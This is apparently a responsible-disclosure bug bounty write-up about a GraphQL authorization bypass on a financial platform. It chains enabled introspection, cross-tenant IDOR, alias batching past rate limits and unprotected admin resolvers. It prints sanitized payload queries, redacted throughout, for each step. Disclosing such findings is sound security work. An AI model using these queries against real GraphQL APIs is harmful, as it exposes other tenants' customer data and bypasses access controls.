HIGH CVSS: 8.2 ACCEPTED API Security

GraphQL Authorization Bypass via Alias Batching & Resolver Enumeration

Exploited enabled GraphQL introspection to enumerate hidden resolvers, then leveraged alias batching to bypass per-query rate limiting and authorization checks, gaining unauthorized access to cross-tenant customer data.

Platform
YesWeHack
Program
Private Program
Target
Financial Platform
Read Time
15 min

Attack Chain 6 stages

1
GraphQL Endpoint Discovery
2
Introspection Query
3
Schema & Resolver Mapping
4
Cross-Tenant IDOR
5
Alias Batching Bypass
6
Admin Resolver Access

⟫ Disclosure Timeline

2025-03-28 Target identified, initial recon started
2025-03-29 GraphQL introspection found enabled in production
2025-03-30 Resolver enumeration completed, hidden queries found
2025-04-01 Authorization bypass via alias batching confirmed
2025-04-02 Cross-tenant data access validated
2025-04-03 Report submitted via YesWeHack
2025-04-05 Triaged as High severity
2025-04-18 Report accepted, fix deployed

⟫ Reconnaissance

Intercepted API traffic via Burp Suite. Identified a single /graphql endpoint handling all data queries. Tested for introspection availability.

⟫ Vulnerability Discovery

GraphQL introspection was enabled in production, exposing the full schema including hidden admin-only queries and mutations.

⟫ GraphQL Resolver Mapping

→ customer(id) → Customer data (should be tenant-scoped)
→ invoices(customerId) → Invoice records
→ internalNotes(ticketId) → Support notes (admin-only)
→ auditLog(userId) → Activity logs (admin-only)
→ configSettings → Platform configuration (admin-only)

⟫ Payload Analysis

All payloads below are sanitized proof-of-concept examples. No active exploitation code is shown.

Step 1: Introspection query to map schema
✓ SUCCESS
query IntrospectionQuery {
  __schema {
    queryType { name }
    types {
      name
      fields { name type { name } }
    }
  }
}
NOTE: Full schema returned — 47 types, 12 hidden queries discovered
Step 2: Single customer query (tenant-scoped)
✓ SUCCESS
query {
  customer(id: "CUST-REDACTED-001") {
    id
    email
    plan
  }
}
NOTE: Returns data for own tenant — expected behavior
Step 3: Cross-tenant access attempt
⚡ BYPASSED
query {
  customer(id: "CUST-REDACTED-099") {
    id
    email
    plan
  }
}
NOTE: Returns data from a different tenant — IDOR confirmed
Step 4: Alias batching for mass enumeration
⚡ BYPASSED
query {
  a1: customer(id: "CUST-REDACTED-001") { id email }
  a2: customer(id: "CUST-REDACTED-002") { id email }
  a3: customer(id: "CUST-REDACTED-003") { id email }
  a4: customer(id: "CUST-REDACTED-004") { id email }
}
NOTE: All aliases resolved in single request — bypasses per-query rate limiting
Step 5: Accessing admin-only resolvers
⚡ BYPASSED
query {
  internalNotes(ticketId: "TKT-REDACTED") {
    content
    author
    createdAt
  }
}
NOTE: Admin resolver accessible without admin role — broken access control

⟫ Chaining Strategy & Escalation

Combined introspection exposure + IDOR + alias batching + broken access control into a chain that allowed: (1) mapping the entire API surface, (2) accessing any customer's data cross-tenant, (3) bulk enumeration via batched queries, (4) reading admin-only internal notes and audit logs.

⟫ Impact Assessment

▸ Full customer data exposure across all tenants
▸ Bulk data enumeration via alias batching
▸ Access to admin-only resolvers without authorization
▸ Internal support notes readable by external users
▸ Audit log exposure revealing internal user activity

This case study follows responsible disclosure practices. All sensitive data including endpoints, credentials, customer information, and active exploitation payloads have been redacted or sanitized. The vulnerability was reported through the official bug bounty program and has been resolved.